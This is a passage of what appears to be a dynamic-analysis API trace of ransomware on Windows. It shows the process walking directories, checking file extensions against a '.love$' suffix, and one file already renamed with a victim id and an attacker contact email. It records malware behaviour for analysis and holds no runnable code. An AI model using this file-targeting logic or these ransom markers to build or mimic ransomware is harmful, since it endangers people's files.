[0282.929] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pfx") returned 4 [0282.929] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pgm") returned 4 [0282.929] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".php") returned 4 [0282.929] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".php3") returned 5 [0282.929] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0282.929] lstrlenW (lpString=".php4") returned 5 [0282.929] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0282.929] lstrlenW (lpString=".php5") returned 5 [0282.929] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0282.929] lstrlenW (lpString=".phtml") returned 6 [0282.929] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0282.929] lstrlenW (lpString=".pict") returned 5 [0282.930] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0282.930] lstrlenW (lpString=".pl") returned 3 [0282.930] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0282.930] lstrlenW (lpString=".pls") returned 4 [0282.930] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".pm") returned 3 [0282.930] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0282.930] lstrlenW (lpString=".png") returned 4 [0282.930] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".pnm") returned 4 [0282.930] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".pot") returned 4 [0282.930] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".potm") returned 5 [0282.930] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0282.930] lstrlenW (lpString=".potx") returned 5 [0282.930] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0282.930] lstrlenW (lpString=".ppa") returned 4 [0282.930] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".ppam") returned 5 [0282.930] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0282.930] lstrlenW (lpString=".ppm") returned 4 [0282.930] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".pps") returned 4 [0282.930] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0282.930] lstrlenW (lpString=".ppsm") returned 5 [0282.930] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0282.931] lstrlenW (lpString=".ppt") returned 4 [0282.931] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".pptm") returned 5 [0282.931] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0282.931] lstrlenW (lpString=".pptx") returned 5 [0282.931] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0282.931] lstrlenW (lpString=".prn") returned 4 [0282.931] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".ps") returned 3 [0282.931] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0282.931] lstrlenW (lpString=".psb") returned 4 [0282.931] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".psd") returned 4 [0282.931] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".pst") returned 4 [0282.931] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".ptx") returned 4 [0282.931] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".pub") returned 4 [0282.931] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0282.931] lstrlenW (lpString=".pwm") returned 4 [0282.931] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0282.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0282.933] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0282.935] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0282.935] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0282.935] FindClose (in: hFindFile=0x543ad0 | out: hFindFile=0x543ad0) returned 1 [0282.935] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0282.935] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0282.937] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0282.937] FindNextFileW (in: hFindFile=0x5445d0, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0282.937] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0282.937] FindNextFileW (in: hFindFile=0x5445d0, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0282.937] FindClose (in: hFindFile=0x5445d0 | out: hFindFile=0x5445d0) returned 1 [0282.938] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0282.939] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0283.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.129] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0283.131] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.131] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0283.133] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.133] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0283.135] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.136] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0283.138] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.138] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0283.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.140] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0283.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.142] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0283.144] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.144] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0283.146] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.146] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0283.148] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.148] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0283.150] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.150] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0283.152] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.153] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0283.155] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.155] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0283.157] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.157] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0283.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.159] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0283.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.237] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0283.239] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.239] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0283.242] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.242] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0283.244] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.244] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0283.246] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.247] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0283.249] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.249] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0283.251] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.251] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0283.254] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.254] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0283.256] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.256] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0283.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.258] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0283.260] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.260] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ca5667, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ca5667, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DHTMLH~1.LOV")) returned 1 [0283.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.263] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0283.266] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.266] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x2e7fa7c | 